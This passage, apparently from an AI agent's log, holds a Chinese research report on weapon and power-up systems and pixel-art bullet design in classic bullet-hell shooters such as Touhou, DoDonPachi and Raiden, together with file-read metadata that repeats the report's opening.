拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- **闪烁**:两帧交替(闪白/闪亮)提升存在感与\"危险感\";但对比过强会让高速移动的子弹难追踪——需要在\"醒目\"与\"可追踪\"之间平衡。\n- **旋转/脉动**:星星、方形、椭圆可加旋转;任意形状可加轻微缩放脉动让子弹\"活着\"。\n\n### 4.2 射击特效(muzzle flash、尾迹)\n\n- **枪口闪光(Muzzle Flash)**:自机开火瞬间的短促亮斑,逐帧淡出;体积小但高频出现,应在设计初期预留清晰 sprite。\n- **尾迹(Trail)**:散弹弹药可加短尾迹表现速度感;追踪弹/导弹必须加尾迹(弯曲轨迹+火光)体现\"制导\"性质;激光可加**束起点光晕**与**目标命中火花**。\n- **爆炸(Explosion)**:slynyrd 的爆炸公式——圆形向导扩张成变薄圆环 → 转为有机火团 → 白热渐变为暖色再转灰烟 → 缓慢上升消散;热空气\"快速膨胀、渐凉减速\"的物理节奏是让爆炸可信的关键。\n- **弹道/拖影**:高速敌弹可加残影(ghosting),但残影不能遮挡弹间缝隙。\n\n### 4.3 不同武器类型的视觉区分度\n\n| 武器 | 视觉语言 | 举例 |\n|---|---|---|\n| 散弹 | 大量小弹丸**离散**、扇面、快速连发 | 雷电 Vulcan 并排弹丸;东方灵梦 C 大量小弹 |\n| 集中/激光 | **连续光束**:粗、直、持续 + 起点光晕 + 命中火花;伴随机身光环 | 怒首领蜂激光+灵气光环;魔理沙穿透激光 |\n| 追踪弹 | 弹丸带明显**转弯行为**+弯曲尾迹+发光引导火 | 灵梦 A 诱导灵符;雷电 Homing |\n| 蓄力 | **充能指示器**(机身能量球由小变大/变亮/变色)+ 释放时放大弹体+闪光 | R-Type Wave Cannon 蓄力槽 |\n| 炸弹 | **全屏级特效**:扩散圆环+闪光+敌弹变道具/星星 | 东方符卡 BOMB 立绘+清屏;怒首领蜂两种炸弹 |\n| 环绕武器 | 发光球体/子机挂在自机旁,随火力升级数量递增 | Gradius Option;东方子机 |\n\n### 4.4 屏幕内大量子弹的辨识度设计\n\n- **敌弹颜色编码**:用颜色区分\"快弹/慢弹/装饰弹\"或危险等级(红=会伤害、粉紫=普通、淡色=装饰);东方/怒首领蜂大量使用红粉紫系正是出于与背景不冲突、且高频饱和色在密集时仍可辨。\n- **判定点(Hitbox)分离**:东方从妖妖梦起,低速模式在自机上显示**红色圆点判定点**(子弹只碰到这一点才判定中弹);怒首领蜂所有子弹共享同一 hitbox(通常小于视觉大小)——\"视觉大、判定小\"是弹幕公平性的核心。\n- **自机弹 vs 敌弹颜色对立**:如 castpixel 的做法——**fuchsia(紫红)= 敌弹、yellow(黄)= 自机弹**,极端对立让双方一眼可分。\n- **弹幕\"缝隙设计\"(gap design)**:弹幕不只是子弹设计,更是**缝隙设计**——\"玩家能看见可通行路径即为公平\",装饰性子弹可以用低饱和/半透明表示\"无威胁\"。\n- **擦弹(Graze)反馈**:子弹擦过自机时的音效/闪光反馈(东方擦弹系统)帮助玩家\"读\"弹幕密度。\n- **性能与同屏量**:像素 STG 在低分辨率(如 480×270)下单帧同屏敌弹可达数百,需要单帧 sprite 体量小(8×8 内)+ 2-4 帧动画,并提前规划透明色/轮廓的绘制成本。\n\n---\n\n## 5. 像素 STG 武器视觉设计建议(落地清单)\n\n面向自研像素弹幕 STG,综合以上调研给出可直接落地的建议:\n\n### A. 武器体系骨架\n1. **每种武器 = 一种\"火力形态\"而非多个数值**:散弹(扇形+连发)、激光(穿透光束+光环)、追踪(锁定+尾迹)、集中(高速模式收拢)至少占 2-3 种,用 Shift/按住 键在同一机体上瞬切(东方/怒首领蜂模式)。\n2. **火力等级可视化**:每级变化做成\"子机数量 / 弹丸数 / 散布角 / 光束宽度\"其中之一,让玩家不读 HUD 也能感知等级(东方子机、雷电连装数的思路)。\n3. **掉落同系升级(或 P 通用)**:可选雷电\"同色道具才升级\"(策略取舍)或东方\"P 通用道具\"(上手简单),建议新手向用后者。\n4. **炸弹做成\"有名有相\"的大招**:借鉴东方符卡——发招时全屏特效+短暂演示(立绘/名牌可选),视觉上\"一键清屏\"结果必须一帧可见。\n5. **强化换难度**(可选进阶):怒首领蜂 Hyper/Rank 思路——强火力同时提高敌弹速度或密度,制造\"成长风险\"。\n\n### B. 子弹与特效像素规范\n6. **敌弹用红/粉/紫高饱和系 + 白/亮色轮廓(双描边更稳)**;自机弹用对立色(黄/青),两类永不撞色。\n7. **子弹 8×8 内完形、2 帧闪烁**:交替闪白提升醒目度;高速弹少用高对比闪烁以免难追踪。\n8. **独特形状命名体系**:采用东方式命名(小玉/大玉/针/米/蝶/札/箭/刀/苦无),每个形状配名称,既是美术资产清单也是世界观萌点。\n9. **判定点独立显示**:低速(focus)模式显示红色圆点判定;敌弹统一\"视觉 > 判定\"原则。\n10. **特效规格化**:muzzle flash 2-3 帧、爆炸 8-10 帧(白热→暖色→灰烟)、激光起点光晕+命中火花常驻 2-3 sprite。\n11. **尾迹只给\"需要读懂速度/轨迹\"的弹种**(高速弹、追踪弹),装饰弹少用尾迹以保缝隙可读性。\n\n### C. 屏幕可读性指标\n12. 任意单帧同屏:自机弹与敌弹在色相/明度上至少有一个维度明确对立。\n13. 弹幕可读性验收标准:**截图后 1 秒内能指出至少一条可行缝隙**;做不到就降低装饰弹密度或调低其饱和度。\n14. 低分辨率(320×180 ~ 640×360)下优先保证:敌弹 > 自机 > 背景 的优先级渲染(敌弹永远最上层且最亮)。\n\n---\n\n## 6. 参考资料\n\n以下为本报告主要信息来源(按主题归类):\n\n1. 维基百科中文:符卡(东方 Project 自机 BOMB/符卡系统)、东方 Project(游戏系统/P 道具/BOMB 演化)、东方妖妖梦(低速判定点/武器/樱点系统)、怒首领蜂(Shot/Laser 强化)\n2. Shmups Wiki(shmups.wiki):»DoDonPachi«(Shot/Laser 双模式、Aura、两种炸弹、hitbox、4 级火力)、»DoDonPachi DaiOuJou«(Element Dolls、Hyper 系统、Rank)、»Mountain of Faith«(风神录自机 6 种 shot type、Power/灵击、P 道具数值)、»Raiden II / Raiden DX«(Vulcan/Laser/Plasma、8 级火力、H/M 导弹)\n3. THBWiki / 东方维基(thwiki.cc、zh.touhouwiki.net):STG 术语(判定点/擦弹/自机狙/道中)、弹幕类型词条、东方游戏玩法页\n4. Touhou Community Jargon(maribelhearn.com):东方子弹类型命名列表(玉弹/针弹/蝶弹/米弹/札弹/苦无等)\n5. slynyrd Pixelblog #31 – Shmup Design Part 1(slynyrd.com):像素 STG 子弹可见性设计(颜色/尺寸/形状/轮廓/闪烁/旋转)与爆炸设计公式\n6. BULLET HELL SHMUP DESIGN 101(Reddit r/shmupdev):弹幕颜色选择(红粉紫系)、弹幕设计原则\n7. 弹幕美术赏析(note.com「15 Beautiful Bullet Hell Patterns」):弹幕=缝隙设计、颜色区分弹种/危险等级\n8. R-Type(Shmups Wiki / R-Type Wiki):Wave Cannon 蓄力系统、Force Pod 力球、Bit Device、追踪导弹\n9. Gradius 系列(Gaming History 101 / StrategyWiki):Power Meter 升级条、Speed/Missile/Double/Laser/Option 体系\n10. ClassicReload / GameFAQs Raiden II FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*\n```", "timestamp": "2026-08-23T12:32:53.803921", "message_id": "msg_1a104c82c8a847a58cf47dccf07acd49", "metadata": {"tool_payload": {"success": true, "type": "read", "path": "research/weapon_system/weapon_research.md", "encoding": "utf-8", "max_chars": 50000, "truncated": false, "content": "# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- 